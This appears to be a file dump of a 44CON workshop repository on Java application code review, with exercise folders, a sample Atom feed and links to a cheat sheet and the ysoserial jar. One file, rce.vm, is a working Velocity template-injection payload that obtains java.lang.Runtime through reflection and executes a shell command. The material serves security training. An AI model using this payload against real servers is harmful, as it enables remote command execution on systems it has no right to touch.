├── 01_rssviewer
    └── atom_feed.xml
├── 02_emailcampaign
    └── rce.vm
├── 03_remoteadmin
    └── ysoserial-0.0.5-all.jar
├── 04_hotel
    └── README.md
├── 44CON-Advanced_Java_Code_Review_Cheat_Sheet.pdf
└── README.md


/01_rssviewer/atom_feed.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <rss>
 3 | <channel>
 4 |     <title>test</title>
 5 |     <description>test</description>
 6 |     
 7 |     <entry>
 8 |       <title>Hello</title>
 9 |       <link href="http://example.com"></link>
10 |       <content>Hello World!</content>
11 |     </entry>
12 |     
13 | </channel>
14 | </rss>


--------------------------------------------------------------------------------
/02_emailcampaign/rce.vm:
--------------------------------------------------------------------------------
 1 | #set($x='')##
 2 | #set($rt=$x.class.forName('java.lang.Runtime'))##
 3 | #set($chr=$x.class.forName('java.lang.Character'))##
 4 | #set($str=$x.class.forName('java.lang.String'))##
 5 | 
 6 | #set($ex=$rt.getRuntime().exec('ls'))##
 7 | $ex.waitFor()
 8 | #set($out=$ex.getInputStream())##
 9 | #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
10 | 


--------------------------------------------------------------------------------
/03_remoteadmin/ysoserial-0.0.5-all.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GoSecure/44con-code-review-workshop/1efe1a955e116f4ee695bb40bb1943b9a14279ab/03_remoteadmin/ysoserial-0.0.5-all.jar


--------------------------------------------------------------------------------
/04_hotel/README.md:
--------------------------------------------------------------------------------
1 | No special hint.. see references in the main slides deck


--------------------------------------------------------------------------------
/44CON-Advanced_Java_Code_Review_Cheat_Sheet.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/GoSecure/44con-code-review-workshop/1efe1a955e116f4ee695bb40bb1943b9a14279ab/44CON-Advanced_Java_Code_Review_Cheat_Sheet.pdf


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # 44CON : Advanced Java Application Code Review
2 | 
3 | This repo contains references, tools and sample payloads.
4 | 


--------------------------------------------------------------------------------